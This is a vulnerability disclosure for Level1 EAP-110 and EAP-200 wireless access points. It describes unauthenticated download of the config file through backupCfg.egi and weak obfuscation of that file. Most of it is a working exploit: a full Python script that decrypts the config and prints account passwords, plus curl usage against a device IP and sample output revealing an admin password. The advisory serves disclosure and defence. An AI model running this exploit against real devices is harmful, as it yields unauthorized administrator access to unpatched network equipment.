Level One Enterprise Access Points Password Disclosure ====================================================== Summary: -------- Level1 EAP Devices offer a function do download the device config file. This download mechanism is not properly protected such that an attach can download the config file without authentication. Further is the config file only protected by pseudo crypto and contains all passwords in plain text. Known vulnerable: ----------------- EAP-110 EAP-200 Firmware version: 2.00.03 Build number: 1.50-1.5045 Others may also vulnerable, the firmware image looks very generic. So far we had only access to EAP-110 and 200 devices. For both devices no firmware update is available. Side note: Level1 has never released a firmware update for the said devices. Details: -------- http://<device-ip>/backupCfg.egi is used to download the device configuation. If the user is not authenticated it will redirect to http://<device-ip>/utilities/backup.asp which will query for username and password. But the backupCfg.egi CGI does not terminate after sending the HTTP 302 redirect. Any HTTP client which does not follow redirects is therefore able to download the config file. The encrypted config file can easily decrypted with our tellpassword.pl script. Credits: -------- David Gstir <david@sigma-star.at> Richard Weinberger <richard@sigma-star.at> Exploit: -------- ---cut--- # tellpassword.py # # Extracts user accounts from Level1 (ip4net) # EAP-200 (and other) Wifi Access Points # # (c) 2013 sigma star gmbh import sys, re attribRegex = re.compile(r"(\w+)=\"([^\"]*)\"") if (len(sys.argv) != 2): print "USAGE: %s config-backup.conf" % sys.argv[0] exit(1) # decrypt config encrypted = open(sys.argv[1], 'rb') plain = open('plain.xml', 'w') cntr = 0 encrypted.seek(128) byte = encrypted.read(1) print "Decrypting config file into plain.xml" while byte: plainOrd = ((ord(byte) ^ 0xff) + cntr) % 0x80 plain.write(chr(plainOrd)) cntr = (cntr + 1) % 0x40 byte = encrypted.read(1) encrypted.close() plain.close() # find user accounts print "Parsing accounts..." plain = open('plain.xml', 'r') for line in plain: if "<user" in line: user = None password = None for match in attribRegex.finditer(line): attrib = match.group(1) if attrib == "name": user = match.group(2) elif attrib == "password": password = match.group(2) if len(password) > 0: print " - %s: %s" % (user, password) plain.close() ---cut--- Usage: ------ $ curl http://10.59.5.15/backupCfg.egi > config-backup.conf $ python tellpassword.py config-backup.conf Decrypting config file into plain.xml Parsing accounts... - admin: #gs#1